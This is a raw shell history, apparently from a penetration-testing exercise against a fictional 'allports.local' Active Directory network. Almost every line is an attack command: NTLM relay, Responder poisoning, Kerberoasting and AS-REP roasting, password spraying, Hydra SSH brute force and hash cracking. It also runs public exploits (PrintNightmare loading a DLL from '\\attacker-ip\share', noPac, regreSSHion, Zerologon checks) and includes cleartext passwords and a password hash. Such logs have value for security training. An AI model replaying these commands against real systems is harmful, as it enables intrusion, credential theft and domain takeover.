nmap --scripts vuln 10.0.1.30
nmap -h
clear
nmap --scripts=vuln 10.0.1.30
nmap -sV --script vulners 10.0.1.30
clear
nmap -sV --script vulners 10.0.1.30 -OA vulnScan30
clear
nmap -sV --script vulners 10.0.1.30 -oA vulnScan30
nslookup prod.allports.local
whois prod.allports.local
sudo nano /etc/hosts
bloodhound
bloodhound.py
pwd
cd ~
bloodhound.py
enum4linux -P 10.0.1.6
smbclient -L //10.0.1.6
dig 10.0.1.6
dig allports.tours
dig prod.allports.tours
clear
ldapsearch -h 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \| grep -m 1 -B 10 pwdHistoryLength
ldapsearch -10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \| grep -m 1 -B 10 pwdHistoryLength
ldapsearch 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \| grep -m 1 -B 10 pwdHistoryLength
ldapsearch 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \\
ldapsearch -h 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \\
ldapsearch -H 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \| grep -m 1 -B 10 pwdHistoryLength
ldapsearch -H 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*" \\
ldapsearch -H 10.0.1.6 -x -b "DC=ALLPORTS,DC=LOCAL" -s sub "*"
wapiti -u http://10.0.1.99:8080
cat ./.wapiti/generated_report/10.0.1.99_8080_11012025_2232.html
wapiti -u http://10.0.1.30:8096
nmap -sCV -p- 10.0.1.99 intialScan99
nmap -sCV -p- 10.0.1.99 -oA intialScan99
clear
nmap -sCV -p- 10.0.1.99 -oA intialScan99
clear
nmap -sV --script=vulners 10.0.1.99
sqlmap
10.0.254.248
nmap -sV --script=vuln 10.0.1.99


_raw: : 1762038673:0;curl -v --resolve chat.allports.tours:80:10.0.1.11 http://chat.allports.tours/\


_raw: : 1762038598:0;gobuster dir --url http://admin.rooms.allports.tours/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 255


_raw: : 1762038505:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762038495:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762038482:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support


_raw: : 1762038455:0;impacket-ntlmrelayx -t ldap://apt-dc-01.allports.local --delegate-access -smb2support


_raw: : 1762038449:0;gobuster dir --url http://10.0.1.14:5001 --wordlist=/usr/share/dirb/wordlists/big.txt -b 200


_raw: : 1762038444:0;gobuster dir --url http://10.0.1.14:5001 --wordlist=/usr/share/dirb/wordlists/big.txt -b 302


_raw: : 1762038438:0;cat users_list_allports.local.txt | grep lpeterson


_raw: : 1762038435:0;impacket-ntlmrelayx -t ldaps://apt-dc-01.allports.local --delegate-access -smb2support --remove-mic


_raw: : 1762038431:0;gobuster dir --url http://10.0.1.14:5001 --wordlist=/usr/share/dirb/wordlists/big.txt -b


_raw: : 1762038429:0;cat users_list_allports.local.txt | grep scampbell


_raw: : 1762038417:0;cat users_list_allports.local.txt | grep khill


_raw: : 1762038395:0;gobuster dir --url http://10.0.1.14:5001 --wordlist=/usr/share/dirb/wordlists/big.txt


_raw: : 1762038384:0;cat users_list_allports.local.txt | grep osanders


_raw: : 1762038372:0;cat users_list_allports.local.txt | grep rdavis


_raw: : 1762038353:0;cat users_list_allports.local.txt | grep srogers


_raw: : 1762038195:0;cat users_list_allports.local.txt | grep jporter


_raw: : 1762038182:0;cat users_list_allports.local.txt | grep lvega


_raw: : 1762038149:0;nxc smb APT-DC-01.allports.local -k -u guest -p " " --shares


_raw: : 1762038111:0;nxc smb APT-DC-01.allports.local -h -u guest -p "" --shares


_raw: : 1762038101:0;nxc smb APT-DC-01.allports.local -u guest -p "" --shares


_raw: : 1762038084:0;nxc smb APT-DC-01.allports.local --shares


_raw: : 1762038070:0;nxc ldap APT-DC-01.allports.local --kerberoast file


_raw: : 1762038066:0;nxc ldap APT-DC-01.allports.local --kerbereproast file


_raw: : 1762038053:0;nxc ldap APT-DC-01.allports.local --asreproast file


_raw: : 1762038051:0;responder --interface "eth0" --DHCP --DHCP-DNS --wpad


_raw: : 1762038050:0;nxc ldap APT-DC-01.allports.local --asreproast


_raw: : 1762038043:0;responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth\


_raw: : 1762038034:0;nxc ldap APT-DC-01.allports.local --active-users


_raw: : 1762038032:0;responder --interface "eth0" --DHCP --DHCP-DNS --wpad --ProxyAuth\


_raw: : 1762038026:0;nxc ldap APT-DC-01.allports.local -h


_raw: : 1762038026:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.6" -debug


_raw: : 1762038018:0;hashcat $2a$10$oopqeWKN1jaSUCWW1JjfG.3FLZWZOuDrv5OoAGPc2fV6v6ojatUhy /usr/share/wordlists/rockyou.txt


_raw: : 1762038016:0;nxc ldap APT-DC-01.allports.local --users


_raw: : 1762038003:0;nxc ldap APT-DC-01.allports.local


_raw:
sqlmap -h
sqlmap -u http://10.0.1.15:3306
sqlmap -u http://10.0.1.15
sqlmap
searchsploit  apache 2.4.25
msfconsole
namp 10.0.1.15
nmap 10.0.1.15
nmap --hh
nmap -help
nmap -o 10.0.1.15
nmap -O 10.0.1.15
nmap -O 10.0.1.14
nmap -O 10.0.1.15


_raw: : 1762037952:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final 123456789


_raw: : 1762037940:0;minikerberos-kerberoast 10.0.1.6 APT-DC-01.allports.local users.lol


_raw: : 1762037930:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final 123456


_raw: : 1762037909:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final 000000


_raw: : 1762037900:0;minikerberos-kerberoast 10.0.1.6 APT-DC-01.allports.local


_raw: : 1762037885:0;git clone https://github.com/jtmpu/PrecompiledBinaries


_raw: : 1762037873:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final AllPortsTours


_raw: : 1762037870:0;pip install -r requirements.txt


_raw: : 1762037864:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final AllPortsTours2025!


_raw: : 1762037847:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid AllPortsTours2025!


_raw: : 1762037842:0;find .  | grep kerberoast


_raw: : 1762037839:0;git clone https://github.com/synacktiv/SCCMSecrets.git


_raw: : 1762037826:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid allportstours2025


_raw: : 1762037822:0;impacket-ntlmrelayx -smb2support -t 10.0.1.6 -debug


_raw:
HOSTNAME
hostname
nslookup 10.0.1.21
nmap -sn 10.0.1.21
nmap -R 10.0.1.21
nmap -sL 10.0.1.21
clear
nmap --packet-trace 10.0.1.21
clear
nmap -sn 10.0.1.0/24
sudo gvm-check-setup
gvm-stop
sudo gvm-stop
clear
sudo gvm-start
sudo gvm-stop
sudo gvm-start
sudo gvm-stop
sudo gvm-start


_raw: : 1762037788:0;impacket-ntlmrelayx -smb2support -t 10.0.1.6 -debug


_raw: : 1762037763:0;gobuster dir --url http://10.0.1.14:5001/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 20ms -o 10.14_gobust.txt --exclude-length 144


_raw: : 1762037759:0;impacket-ntlmrelayx -smb2support -t 10.0.1.6 -debug


_raw: : 1762037754:0;gobuster dir --url http://10.0.1.14:5001/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 20ms -o 10.14_gobust.txt


_raw: : 1762037750:0;impacket-ntlmrelayx -smb2support -t -debug


_raw: : 1762037743:0;nxc smb 10.0.1.6 -u administrator -p IamTheCaptain  --shares


_raw: : 1762037738:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.20" -debug


_raw: : 1762037724:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.6" -debug


_raw: : 1762037716:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.21" -debug


_raw: : 1762037711:0;impacket-ntlmrelayx -smb2support -t smb://"10.0.1.21" --debug


_raw: : 1762037680:0;nmap -p 389 --script ldap-brute --script-args="'dc'='allports','dc'='tours'"10.0.1.6


_raw: : 1762037677:0;nxc smb 10.0.1.6 -u administrator -p administrator  --shares


_raw: : 1762037675:0;nmap -p 389 --script ldap-brute --script-args="'dc'='allports','dc'='tours0'"10.0.1.6


_raw: : 1762037667:0;nxc smb 10.0.1.6 -u administrator -p admin --shares


_raw: : 1762037619:0;nxc smb 10.0.1.6 -u administrator -p bruh123 --shares


_raw: : 1762037610:0;nxc ldap 10.0.1.6 -u administrator -p bruh123 --shares


_raw: : 1762037593:0;nxc ldap 10.0.1.6 -u administrator -p admin --groups


_raw: : 1762037592:0;nmap -p 389 --script ldap-brute --script-args="'dc'='allport','dc'='tours'"10.0.1.6


_raw: : 1762037574:0;gobuster dir --url http://10.0.1.99:8080/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster -k


_raw: : 1762037559:0;gobuster dir --url http://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster.80


_raw: : 1762037554:0;gobuster dir --url http://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster.80 -k


_raw: : 1762037475:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster -k


_raw: : 1762037471:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster


_raw: : 1762037463:0;gobuster dir --url https://10.0.1.99 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o gobuster


_raw: : 1762037427:0;git clone https://github.com/Ridter/noPac.git


_raw: : 1762037371:0;git clone https://github.com/mubix/pykek.git


_raw: : 1762037364:0;[200~git clone https://github.com/mubix/pykek.git


_raw: : 1762037294:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1762037264:0;nxc smb 10.0.1.21 -u 'Administrator' -p '1gyroscope' -k


_raw: : 1762037259:0;nxc smb 10.0.1.21 -u 'Administrator' -p '1gyroscope'


_raw: : 1762037249:0;ffuf -u http://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -fs 4831


_raw: : 1762037244:0;ffuf -u http://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt-fs 4831


_raw: : 1762037227:0;ffuf -u http://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


_raw: : 1762037219:0;ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


_raw: : 1762037208:0;python3 CVE-2021-1675.py APT-DC-01/guest@10.0.1.6 '\\attacker-ip\share\malicious.dll'


_raw: : 1762037165:0;nmap -iL windows.txt -p 445 --script=smb-vuln*


_raw: : 1762037127:0;python3 CVE-2021-1675.py domain/user:password@target-ip '\\attacker-ip\share\malicious.dll'


_raw:
nmap -sV -sC 10.0.1.15
searchsploit Apache HTTP 2.4.25
searchsploit Apache 2.4.25
sudo apt-get install crackmapexec
crackmapexec smb 10.0.1.20 -u '' -p '' --users
crackmapexec smb 10.0.1.20 -u '' -p '' --pass-pol
crackmapexec smb 10.0.1.20 -u guest -p '' --shares
crackmapexec smb 10.0.1.21 -u guest -p '' --shares
crackmapexec smb 10.0.1.21 -u '' -p '' --users
crackmapexec smb 10.0.1.21 -u guest -p '' --spider IT --regex .
sudo nano apache-exploit.py
python3 apache-exploit.py 10.0.1.15
nano apache-exploit.py
sudo nano apache-exploit.py
python3 apache-exploit.py
clear


_raw: : 1762037099:0;nmap -iL windows.txt -p 445 --script=smb-vuln-ms17-010


_raw: : 1762037082:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1762037051:0;crackmapexec smb windows.txt -u '' -p ''


_raw: : 1762037044:0;./hashcat.bin -m 31300 ../hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762037012:0;./hashcat.bin -m 31300 ../hashes /usr/share/wordlists/users.lol


_raw: : 1762036941:0;git clone https://github.com/dirkjanm/CVE-2020-1472.git


_raw: : 1762036890:0;./hashcat.bin -m 31300 ../hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036881:0;./hashcat.bin -m 31300 ../../hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036739:0;./hashcat.bin -m 31300 ../hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036731:0;./hashcat.bin -m 31300 ../../hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036713:0;hashcat -m 31300 hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036608:0;cp /home/pentester/Downloads/hashcat-7.1.2+338.7z .


_raw: : 1762036589:0;wapiti -u http://chat.allports.tours


_raw: : 1762036583:0;wapiti -u httchat.allports.tours


_raw: : 1762036578:0;wapiti -u chat.allports.tours


_raw: : 1762036553:0;hashcat -m 31300 hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036541:0;git clone https://github.com/ShutdownRepo/targetedKerberoast.git


_raw: : 1762036533:0;john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes


_raw: : 1762036524:0;hashcat -m 18200 hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036462:0;cat /root/linWinPwn_allports.local/Users/users_list_allports.local.txt | grep bfinn


_raw: : 1762036424:0;hashcat -m 18200 hashes /usr/share/wordlists/rockyou.txt


_raw: : 1762036412:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u https://chat.allports.tours/FUZZ -fl 8


_raw: : 1762036403:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://chat.allports.tours/FUZZ -fl 8


_raw: : 1762036395:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://chat.allports.tours/FUZZ -fw 5


_raw: : 1762036390:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://chat.allports.tours/FUZZ


_raw: : 1762036344:0;john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes


_raw: : 1762036334:0;john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1762036202:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762036195:0;nxc smb 10.0.1.0/24 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762036190:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762035807:0;pip install -r requirements.txt --break-system-packages


_raw: : 1762035799:0;pip install -r requirements.txt


_raw: : 1762035778:0;git clone https://github.com/ticarpi/jwt_tool


_raw:
sudo nano /etc/hosts
cat password.txt
sudo nano /etc/hosts
exit


_raw: : 1762035711:0;sudo responder -I eth0 -A


_raw: : 1762035674:0;ffuf -u https://chat.allports.tours/admin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


_raw: : 1762035624:0;impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.0.1.6 -no-pass -outputfile asrep.txt


_raw:
wapiti 10.0.1.15
wapiti -m
wapiti -m --list-modules
wapiti --endpoint 10.0.1.15
wapiti -u http://10.0.1.15


_raw:
[200~    mysql -h 10.0.1.15 -P 3306  -p
[200~    mysql -h 10.0.1.15 -P 3306  -p~
[200~    mysql -h 10.0.1.15 -P 3306  -u root -p
mysql -h 10.0.1.15 -P 3306  -u root -p
john
john --help
ssh root@10.0.1.15
hydra -help
ls
cat password.txt
ssh root@10.0.1.15
ls
cd ../
ls
cd ../
ls
cd usr
ls
cd share
ls
cd hydra
ls
cd ../
ls
cd wordlists
ls
cd john.lst
cd rockyou.txt.gz
gunzip rockyou.txt.gz
sudo su gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
sudo su
nikto
clear
cd /usr/share/wordlists
ls
cd
ls
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.0.1.15 ssh
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.0.1.15 ssh -v
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.0.1.15 ssh -v -t 10
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15 -v -t 10
hydra -l -t 28 -f -V root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15
hydra -t 28 -f -V -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15
hydra -R


_raw: : 1762035564:0;ffuf -u https://chat.allports.tours/dashboard/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


_raw: : 1762035476:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


_raw: : 1762035455:0;chmod +x nmapAutomator.sh


_raw: : 1762035429:0;./hashcat.bin -m 31300 ../hash /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt


_raw:
wapiti -u http://10.0.1.15
cd /home/pentester/.wapiti/generated_report
ls
cat report.html;


_raw: : 1762035353:0;./hashcat.bin -m 31300 ../hash /usr/share/wordlists/rockyou.txt


_raw: : 1762035336:0;sqlmap -r request.txt --batch --level=5 --risk=3


_raw:
nmap -sV --script=vuln 10.0.1.6
nmap -sS 10.0.1.0/24 --open
nmap -sV --script=vuln 10.0.1.6\
msfconsole
nmap -sV --script=vuln 10.0.1.15
nmap -sV --script=vuln 10.0.1.20
msfconsole
nmap -sV --script=vuln 10.0.1.620
nmap -sV --script=vuln 10.0.1.10
python3 CVE-2024-6387.py exploit -T 10.0.1.10 -p 22
nmap -sV --script=vuln 10.0.1.11
nmap -sS 10.0.1.0/24 --open


_raw: : 1762035311:0;feroxbuster -u http://penny.allports.local -t 10


_raw: : 1762035246:0;sqlmap -r request.txt --batch --level=5 --risk=3


_raw: : 1762035216:0;git clone https://github.com/SecuraBV/Timeroast.git


_raw: : 1762035177:0;impacket-ticketConverter dc01.kirbi dc01.ccache


_raw:
nmap -sV 10.0.1.6
wireshark
telnet
nmap -sV 10.0.1.6 -p 593
vim /etc/hosts
cat /etc/hosts
sudo chmod 777 /etc/hosts
ls -l /etc/hosts
vim /etc/hosts
cat /etc/hosts
curl 10.0.1.11
autorecon
ls
cat password.txt
cd Vulmap-Local-Vulnerability-Scanners
ls
cd Vulmap-Linux
ls
python3 vulmap-linux.py
python3 vulmap-linux.py -h
python3 vulmap-linux.py -v
python3 vulmap-linux.py -d


_raw: : 1762035118:0;nano -d ticket.base64 > dc01.kirbi


_raw: : 1762035108:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final allportstours


_raw: : 1762035080:0;impacket-ticketConverter dc01.kirbi dc01.ccache


_raw: : 1762035037:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final.txt --user-as-pass


_raw: : 1762035008:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6 -h


_raw: : 1762034997:0;GetUserSPNs.py -no-preauth "guest" -dc-host "10.0.1.6" "allport.tours"/ -usersfile users.lol


_raw: : 1762034978:0;GetUserSPNs.py -no-preauth "guest" -dc-host "10.0.1.6" "allport.tours"/


_raw: : 1762034751:0;cat final.txt valid | sort | uniq > final


_raw: : 1762034744:0;cat final.txt valid | sort | uniq | wc -l


_raw: : 1762034737:0;rpcclient -U 'allports.local/ecarter' -N 10.0.1.6


_raw: : 1762034732:0;rpcclient -U 'allports.local/dcarter' -N 10.0.1.6


_raw: : 1762034724:0;rpcclient -U 'allports.local/bfinn' -N 10.0.1.6


_raw: : 1762034693:0;python3 poc.py -ip -about


_raw: : 1762034657:0;linWinPwn -t 10.0.1.20 -o ./ --auto -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762034630:0;rpcclient -U 'dcarter' -P 'IamTheCaptain' 10.0.1.6


_raw: : 1762034623:0;rpcclient -U 'bfinn' -P 'IamTheCaptain' 10.0.1.6


_raw: : 1762034621:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final.txt  allports2025!


_raw: : 1762034615:0;rpcclient -U 'ecarter' -P 'IamTheCaptain' 10.0.1.6


_raw: : 1762034614:0;systemctl status ssh-server


_raw: : 1762034609:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final.txt  admin


_raw: : 1762034598:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final.txt  qwerty


_raw: : 1762034586:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  final.txt  password


_raw: : 1762034557:0;grep "VALID USERNAME" valid_ad_users4 | awk '{print $NF}'> final.txt


_raw: : 1762034548:0;grep "VALID USERNAME" valid_ad_users4 | awk '{print $NF}'


_raw: : 1762034488:0;git clone https://github.com/mrmtwoj/CVE-2024-38077.git


_raw:
ls
vim CVEs.txt
cat password.txt
vim CVEs.txt
cat password.txt
vim 52269.c
gcc 52269.c -o sshExploit
vim 52269.c
gcc 52269.c -o sshExploit
vim 52269.c
gcc 52269.c -o sshExploit
vim 52269.c
msfconsole
vim 52269.c
cat NmapA11.nmap
gcc 52269.c -o sshExploit
vim 52269.c
gcc 52269.c -o sshExploit
vim 52269.c
./sshExploit 10.0.1.10 22
vim 52269.c
gcc 52269.c -o sshExploit
./sshExploit 10.0.1.10 22
vim 52269.c
gcc 52269.c -o sshExploit
./sshExploit 10.0.1.10 22
vim 52269.c
gcc 52269.c -o sshExploit
vim 52269.c
gcc 52269.c -o sshExploit
./sshExploit 10.0.1.10 22
vim 52269.c


_raw: : 1762034388:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762034373:0;impacket-GetUserSPNs APT-DC-01.allports.local -target-domain allports.local -dc-ip 10.0.1.6


_raw: : 1762034336:0;impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.0.1.6 -no-pass -outputfile asrep_hashes.txt


_raw: : 1762034315:0;gobuster dir -u http://10.0.1.11:8045 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt


_raw:
ssh boatgps@10.0.1.15
ssh captain@10.0.1.15
ssh captain@10.0.1.99


_raw:
ls
cat password.txt
ip a
nmap -p- 10.0.1.21 -vv
nmap -p 135,139,445,3389,5985,5986,47001,49664,49665,49666,49668,49669,49672,49673,49698,49700 10.0.1.21 -sV -vv
dnsenum
ss -tulpn
nano 10.0.1.21
ls
clear
ls
clear
ls
cat 10.0.1.21
ip a
cat password.txt
nxc smb 10.0.1.21
nxc smb 10.0.1.21 --shares
nxc smb 10.0.1.21 -u '' -p ''
crackmapexec
clear
nxc smb 10.0.1.21 -u '' -p '' --shares
cat password.txt
sudo apt update
cat 10.0.1.21
mv 10.0.1.21 10.0.1.21_ports
ls
mkdir CPTC
mv 10.0.1.21_ports CPTC
cd CPTC
ls
cd ..
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 --shares
nxc -h
nxc winrm --help
nxc winrm 10.0.1.21
cat password.txt
clear
ls
nxc winrm 10.0.1.21
nxc winrm 10.0.1.21 --lsa
nxc winrm 10.0.1.21 --sam
nxc winrm --help
nxc winrm 10.0.1.21 -u '' -p ''
nxc winrm 10.0.1.21 -u '' -p '' --sam
nxc winrm 10.0.1.21 -u '' -p '' --lsa
nmap -p 135,139,445,3389,5985,5986,47001,49664,49665,49666,49668,49669,49672,49673,49698,49700 10.0.1.21 -sV --script vuln
nxc -h
nxc rdp 10.0.1.21
nxc rdp 10.0.1.21 -u '' -p ''
nxc rdp 10.0.1.21 -u '' -p '' --lsa
nxc rdp --help
nxc rdp 10.0.1.21 --screenshot
ls
nxc rdp 10.0.1.21 --nla-screenshot
cd .nxc/screenshots/
ls
open DECKHAND-02_10.0.1.21_2025-11-01_115046.png
nxc -h
nxc rdp --help
cd
ls
cat password.txt
ls
cd CPTC
ls
cat 10.0.1.21_
cat 10.0.1.21_ports
	ls
cd
cd .nxc/screenshots/
ls
cd
ls
cd CPTC
cat 10.0.1.21_
cat 10.0.1.21_ports
cd
nxc rdp --help
nxc rdp -u 'Administrator' -p '' 10.0.1.21
nxc rdp  10.0.1.21 -u 'Administrator' -p ''
nxc rdp  10.0.1.21 -u 'Administrator' -p 'Administrator'
nxc rdp -L
nxc rdp -L LOW
nxc rdp -L --options
nxc smb -L
nxc smb 10.0.1.21 -M winscp
nxc smb -M winscp --options
nxc smb -M zerologon --options
nxc smb 10.0.1.21 -M zerologon
nxc smb 10.0.1.6 -M zerologon
ls
nxc winrm -M
nxc winrm -L
nxc winrm 10.0.1.21
nxc winrm 10.0.1.21 -u 'Administrator' -p ''
trufflehog
cat password.txt
trufflehog
searchsploit nginx 1.18
ls
ip a
sudo responder -I eth0
clear
ls
cd CPTC
ls
nxc winrm 10.0.1.21 -u 'Administrator' -p 'Administrator'
nxc winrm 10.0.1.21 -u 'Administrator' -p 'Allportstour'
dirsearch
cd
clear
dirsearch -u http://BB-A173.rooms.allports.tours\
cd CPTC
ls
cd
cat password.txt
ls
cd CPTC
ls
cat password.txt
cd
cat password.txt
ip a
clear
nxc winrm 10.0.1.21 -u 'Administrator' -p 'IamTheCaptain!'
nxc smb 10.0.1.21 -u 'Administrator' -p 'IamTheCaptain!'
nxc smb 10.0.1.21 -u 'Administrator' -p 'IamTheCaptain'
ssh root@10.0.1.10
ls
nano creds.txt
cat c
cat creds.txt
ssh root@10.0.1.10
hydra
hydra -l root -p IamTheCaptain -M ip.txt
hydra -l root -p IamTheCaptain -M ip.txt ssh
searchsploit mysql 5.7.44
searchsploit sql 5.7.44
sqlite3
nxc winrm 10.0.1.6 -M zerologon
nxc smb 10.0.1.6 -M zerologon
nxc smb 10.0.1.6 -u '' -p ''
smbclient //10.0.1.6
smbclient -L //10.0.1.6
smbclient -L //10.0.1.6 -U ''
smbclient -L //10.0.1.6 -U 'Administrator'
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --spider
nxc smb 10.0.1.6 -u 'greed' -p ''
nxc smb 10.0.1.6 -u '' -p ''
smbclient //10.0.1.6/tmp
smbclient //10.0.1.6
smbclient //10.0.1.6/
cat password.txt
ip a
smbclient //10.0.1.6/share
smbclient //10.0.1.6/
smbclient //10.0.1.6/tmp
smbclient //10.0.1.6/HOME
smbclient //10.0.1.6//tmp  -U 'Anonymous'
smbclient //10.0.1.6//tmp  -U ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6/APT-DC-01 -u '' -p ''
smbclient //10.0.1.6//APT-DC-01  -U ''
smbclient //10.0.1.6//APT-DC-01
smbclient //10.0.1.6/APT-DC-01
smbclient //10.0.1.6/APT-DC-01 -U ""
smbclient //10.0.1.6/APT-DC-01 -U ''
smbclient //10.0.1.6/APT-DC-01 -U 'Administrator'
clear
nxc smb 10.0.1.6 -u '' -p ''
nxc smb -h
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' -d allports.local
smbclient --help
smbclient //10.0.1.6/tmp -U allports.local/
smbclient //10.0.1.6/tmp -U allports.local
smbclient //10.0.1.6/tmp
smbclient //10.0.1.6/tmp -U 'allports.local'
smbclient //10.0.1.6/tmp -U 'ALLPORTS.LOCAL'
smbclient //10.0.1.6/tmp -U 'ALLPORTS.LOCAL' -N
smbclient //10.0.1.6/tmp -U 'ALLPORTS' -N
smbclient //10.0.1.6/tmp -U ;'' -N
smbclient //10.0.1.6/tmp -U '' -N
smbclient //10.0.1.6/tmp -U ''
smbclient //10.0.1.6/tmp
nxc smb 10.0.1.20
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.20 -u 'DECKHAND-01' -p ''
curl http://10.0.1.10:6768/
curl -X GET http://10.0.1.10:6768/
sqlite3 --help
nmap -A 10.0.1.21
nxc smb 10.0.1.6 -u '' -p '' -d --sam
nxc smb 10.0.1.6 -u '' -p '' --sam
nxc smb 10.0.1.6 -u '' -p '' --lsa
nxc winrm 10.0.1.6 -u '' -p '' --lsa
nxc smb --help
nxc winrm 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.6 -u '' -p '' --users
mysql -u root -h 10.0.1.99
mysql --help
dirsearch -u http://bb-a173.rooms.allports.tours/
nmap -sV 10.0.1.21
curl 10.0.1.21:5985
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.21 -u 'Administrator' -p ''
smbclient //10.0.1.6/DECKHAND-02
smbclient //10.0.1.6/DECKHAND-02 -U 'allports.local'
smbclient //10.0.1.6/DECKHAND-02 -U ''
smbclient //10.0.1.6/DECKHAND-02 -U '' -N
smbclient //10.0.1.6/DECKHAND-02
smbclient //10.0.1.6/DECKHAND-02 -N
rpcclient
rpcclient -I 10.0.1.21 -p 49666
rpcclient -U Administrator%''@10.0.1.21
rpcclient -U Administrator%@10.0.1.21
rpcclient -U Administrator@10.0.1.21
rpcclient -U Administrator@10.0.1.21 -N
nxc smb 10.0.1.6 -u 'Administrator' -p ''
nxc smb 10.0.1.6 -u '' -p ''
